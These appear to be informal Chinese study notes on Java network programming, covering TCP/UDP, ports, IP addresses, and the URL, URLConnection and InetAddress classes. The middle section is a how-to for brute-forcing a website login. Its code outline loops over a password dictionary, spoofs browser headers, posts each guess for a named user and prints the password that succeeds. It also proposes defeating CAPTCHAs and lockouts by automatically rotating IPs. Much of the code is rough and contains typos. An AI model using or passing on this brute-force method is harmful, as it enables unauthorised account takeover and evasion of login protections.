网络编程network:其实就是IO+多线程编程。是j2ee的基础!!利用java.net包下的类的功能,完成java程序在互联网上的通讯。网络编程最重要的是socket插座,然后是io流是基础!!!
TCP:transfer control protol 传输控制协议
是面向连接的,保证可靠地双向传输协议:A节点将信息发给B节点,B节点会发确认信息给A节点,如果A节点没收到确认信息,会重新发送。性能差!!先发的信息,先抵达
UDP:user datagram protocal 数据报协议
不建立虚拟链路,非面向连接的,不可靠的,只管发送datagram,每个datagram都有完整的目的地的地址信息,但不保证到达目的地,视频,音频等这种数据量大,准确性要求不高的数据用UDP的比较多,效率比TCP高,代价小。A节点只负责发数据报,不需要确认信息!!数据报包含信息+地址,大部分情况下可以完整发送,但某些情况会发生数据报丢失!
丢失也不管。先发的信息不一定先到!!
端口号port:每一台计算机在网络环境下有唯一的一个ip地址,但一台计算机会有很多应用程序,为了区分不同的程序,引入了端口号:ip+port就唯一确定了一台计算机上的一个程序!
服务器server:服务器端会有线程不断监听自己的所有端口号,看是否有client请求,一旦有请求,服务器端会单独启动一个线程给client端,完成功能
网络层次:有四个层次:1应用层:有http ftp smtp2 等协议pop3 2传输层有TCP协议UDP协议3网络层 有IP协议为网络节点分配唯一标示,IP地址和端口!4物理层+数据链路层(传输最底层2进制)
IP地址:每个网络节点唯一的一个标示,保证数据包正确找到每个物理节点!IPV4 32位地址 中国分到的IP地址很少,往往是一个单位一个IP地址公用!IPV6 128位地址,保证每个人一个IP地址
域名也是主机名Host和ip是一一对应的,都是表示同一台机器,为了方便人们记忆,主机名可以自己设置
端口:IP地址只是标示一个网络节点,每个节点可能有多个应用服务,端口标示每个应用程序,每个机器有0-65535个端口,0-1023是公用端口 如:80(http服务) 110(pop)21(ftp)
1024-49151应用程序端口,但有些重要程序,如oracle使用1521 mysql 会用3306,要避免自己的端口和重要程序冲突,一般取大的号如:30000
49152-65535动态端口号也不能用。
1java.net.URL类:表示一个URL,代表一个网络地址:
URL:包括协议名+主机名+文件名+端口号
http://www.javasun:80/doc/app/index.htm javasun是ip地址或域名可以由ip地址替换
URLConnection 代表与网络地址的连接
URLConnection 子类:HttpURLConnection基于http协议的网络地址连接,功能更强
1例1:获取URL对象信息
main()
{ URL url=new URL(“http://www.javasun:80/doc/app/index.htm”);生成URL对象
String protocalName=url.getProtocal();获得协议名 :http
String hostName=url.getHost();获得主机名: javasun 如果是用ip表示,
“http://www.123.233.12.12:80/doc/app/index.htm”就返回ip数字地址字符
String file=url.getFile();获得请求的文件及路径:/doc/app/index.htm
String port=url.getPort();获得端口号
}
2例2:利用URL对象建立对该URL地址的连接后:可以模仿浏览器请求服务器,并获取服务器的响应。
方式一:URL有openStream()方法,直接建立连接,并获得输入流。
方式:2URL的openConnection()方法返回URLConnection对象,与该URL建立连接,然后利用URLConnection对象的getInputStream()方法获得输入流,来读取信息
连接方式一:
main()
{ URL url=new URL(“http://www.baidu.com”);
InputStream is=url.openStream(); 与百度首页建立连接,并获得输入流,来读取信息
byte[]buffer=new byte[2048];
int length=0;
OutputStream os=new FileOutputStream(“aaa.text”);将信息(html页面源文件)读到本地文件
while(-1!=(length=is.read(buffer,0,buffer.length)))
{os.write(buffer,o.buffer.length);}
is.close(); os.close();
}
连接方式二:
main()
{
URL url=new URL(“http://www.baidu.com”);
URLConnection conn=url.openConnection(); 连接到百度首页
也可以:HttpURLConnection conn=( HttpURLConnection)url.openConnection();因为是http协议,推荐!功能更强!
conn.connect();建立连接
模仿浏览器请求服务器,并获取服务器的响应。
BufferedReader br=new BufferedReader(new InputReader(conn.getInputStream()));以本程序为参照,input获得输入流,来读取网站信息
String line=null;
while((line=br.readLine())!=null){print(line);} br.close();
获取页面源代码
}
暴力破解网站:
1首先有个字典:将所有可能的密码列出来先,用程序生成所有可能的密码,放入txt文件下
2URL url=new URL(“网站登陆界面的url”);
设置请求属性
google浏览器,工具-开发者工具-network-请求提交一次网页后-header-requestheader-全是accept**名值对+直到connection属性
conn.setRequestProperty(“Accept”,” ”);假装自己是google浏览器
conn.setDoOutput(true);既要读密码又要输出密码
conn.setDoIntput(true);
//读字典文件
BufferedReader br=new BufferedReader(new InputReader(new FileInputStream(密码字典)));
String psw=null;
while((psw=br.readLine())!=null){
//每次读取完,都要建立一次与服务器的连接
HttpURLConnection conn=( HttpURLConnection)url.openConnection();
conn.setRequestProperty(“Accept”,” ”);假装自己是google浏览器
........
conn.setRequestProperty(“Connection”,” ”);
PrintStream ps=new PrintStream(conn.getOutputStream());本程序向网站输出密码,发送请求
ps.print(“username=shilinhu&password=”+psw);相当于向网页发送request请求
ps.flush();每一次都发一个请求!
BufferedReader br2=new BufferedReader(new InputReader(conn.getInputStream()));读取响应
String line=null;
while((line=br2.readLine())!=null){一行一行的找看是否有“登陆成功字样”
if(line.contains(“登陆成功”))
print(psw);输出正确密码!
}
br.close();
}
br.close();
如果有验证码:一个程序每次识别验证码并输入
超过三次不让填:自动换IP程序。
2java.net.InetAddress 类:用来了解IP的类!用于封装数字格式ip地址和域名:www.aa.com,不包括端口,有两个子类:Inet4Address :IPV4 Inet6Address :IPV6
域名和ip是一一对应的,都是表示同一台机器,为了方便人们记忆。
1 InetAddress address=
InetAddress.getByAddress(new byte[]{(byte)192,(byte)168,10,(byte)133});
构造一个IP地址,最大是255,用byte取值在-127-128,要强制转化,?值不会变吗?在c语言里可以解释!!!
2 InetAddress address= InetAddress.getByName(“127.12.23.45”);
2address.getHostName();返回对应IP地址的主机名,
3 address.isReachable(5000);5秒钟内能否连到该IP
main()
{InetAddress address=InetAddress.getLocalHost();
print(address); 现实:主机名/ip地址
InetAddress address2=InetAddress.getByName(www.sohu.com);
print(address2); 显示:www.sohu.com/221.17....
}
|